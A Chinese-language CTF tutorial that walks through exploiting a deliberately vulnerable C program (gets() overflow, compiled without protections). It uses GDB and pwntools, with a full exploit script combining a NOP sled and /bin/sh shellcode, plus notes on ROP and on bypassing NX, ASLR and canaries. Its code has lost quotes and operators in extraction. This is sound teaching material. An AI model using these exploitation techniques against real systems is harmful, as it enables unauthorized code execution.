从Pwn到实战:用GDB和Python脚本一步步复现CTF中的经典栈溢出漏洞
从Pwn到实战用GDB和Python脚本一步步复现CTF中的经典栈溢出漏洞在二进制安全领域栈溢出漏洞利用堪称Hello World级别的入门课程。许多安全从业者的第一个漏洞利用案例往往就是从这样一个简单的缓冲区溢出开始的。本文将带您亲自动手使用GDB调试器和Python的pwntools库完整复现CTF比赛中常见的栈溢出漏洞利用过程。1. 实验环境搭建与目标分析首先需要准备一个Linux环境推荐Ubuntu 20.04并安装必要的工具链sudo apt update sudo apt install -y gdb python3 python3-pip git pip3 install pwntools我们将使用一个特意设计的漏洞程序作为实验目标。这个程序模拟了CTF比赛中常见的场景一个简单的服务接受用户输入但由于使用了不安全的gets()函数导致存在经典的栈溢出漏洞。// vuln.c #include stdio.h #include string.h void vulnerable_function() { char buffer[64]; gets(buffer); printf(Input: %s\n, buffer); } int main(int argc, char** argv) { vulnerable_function(); return 0; }编译这个程序时需要关闭现代保护机制以便我们专注于基础原理gcc -m32 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln-m32生成32位程序-fno-stack-protector禁用栈保护-z execstack允许栈执行-no-pie禁用位置无关可执行文件2. 使用GDB进行初步调试启动GDB调试我们的目标程序gdb ./vuln在GDB中我们首先设置一些有用的显示选项(gdb) set disassembly-flavor intel (gdb) layout asm (gdb) layout regs这些命令将设置反汇编风格为Intel格式显示汇编代码窗口显示寄存器窗口接下来在vulnerable_function处设置断点并运行程序(gdb) break vulnerable_function (gdb) run程序会在vulnerable_function入口处暂停。此时我们可以查看栈布局(gdb) x/20wx $esp这将显示栈顶附近的20个32位字word。观察输出我们可以初步了解缓冲区在栈中的位置。3. 确定溢出偏移量要成功利用栈溢出漏洞我们需要精确知道从缓冲区开始到返回地址的偏移量。有几种方法可以确定这个值方法一模式字符串法使用pwntools生成独特的模式字符串from pwn import * pattern cyclic(100) print(pattern)将生成的字符串作为输入传递给程序当程序崩溃时GDB会显示被覆盖的指令指针(EIP)值。我们可以用这个值计算偏移from pwn import * offset cyclic_find(0x6161616c) # 假设崩溃时EIP为0x6161616c print(fOffset: {offset})方法二逐步试探法通过发送不同长度的输入观察程序崩溃时的行为变化for i in range(70, 80): print(fTrying length {i}) io process(./vuln) io.sendline(bA*i) io.recv() io.wait()当输入长度刚好覆盖返回地址时程序会因跳转到非法地址而崩溃。4. 构造利用载荷确定了偏移量后我们需要构造完整的利用载荷。典型的栈溢出利用载荷结构如下[填充字符][返回地址][NOP雪橇][shellcode]获取shellcode我们可以使用pwntools生成简单的execve(/bin/sh) shellcodefrom pwn import * context.arch i386 shellcode asm(shellcraft.sh()) print(hexdump(shellcode))查找返回地址我们需要找到一个可靠的返回地址通常指向NOP雪橇或shellcode起始处。使用GDB查找(gdb) x/100wx $esp-100寻找栈地址范围选择一个位于缓冲区上方的地址作为返回地址。例如0xffffd100。完整利用脚本from pwn import * context.arch i386 context.log_level debug offset 76 ret_addr 0xffffd100 shellcode asm(shellcraft.sh()) nop_sled asm(nop) * 32 payload flat({ offset: p32(ret_addr), }, fillerbA) payload payload[:offset] nop_sled shellcode io process(./vuln) io.sendline(payload) io.interactive()5. 绕过常见保护机制现代系统通常有多种保护机制我们需要了解如何绕过它们NX不可执行栈当栈不可执行时我们需要使用ROPReturn-Oriented Programming技术。pwntools提供了方便的ROP功能from pwn import * elf ELF(./vuln) rop ROP(elf) rop.call(system, [next(elf.search(b/bin/sh\x00))]) print(rop.dump())ASLR地址空间布局随机化对于32位程序可以暴力破解或泄漏地址。对于64位程序通常需要信息泄漏漏洞配合使用。Stack Canary如果程序有栈保护我们需要先泄漏canary值或者在输入中保持canary不变。6. 实战技巧与调试经验在实际漏洞利用过程中有几个实用技巧值得注意GDB插件增强功能安装PEDA或GEF插件增强调试体验使用checksec命令快速查看程序保护机制pwntools高级功能使用gdb.attach()在脚本中直接附加GDB利用fmtstr模块处理格式化字符串漏洞使用ROP模块简化ROP链构造常见问题排查如果shellcode不执行检查栈是否可执行vmmap命令如果返回地址无效检查地址对齐和字节序使用strace观察系统调用行为性能优化对于远程目标使用tube.sendlineafter()等交互方法对暴力破解场景使用multiprocessing加速7. 从CTF到真实世界虽然CTF题目往往简化了现实场景但核心原理是相通的。在实际漏洞利用中我们还需要考虑不同操作系统和架构的差异如Windows vs Linuxx86 vs ARM绕过更复杂的保护机制如CFGShadow Stack处理不稳定的网络环境和程序行为编写更健壮的利用代码以适应不同环境通过CTF练习培养的底层理解和调试技能是二进制安全研究的坚实基础。建议从简单的栈溢出开始逐步挑战更复杂的漏洞类型和保护机制组合。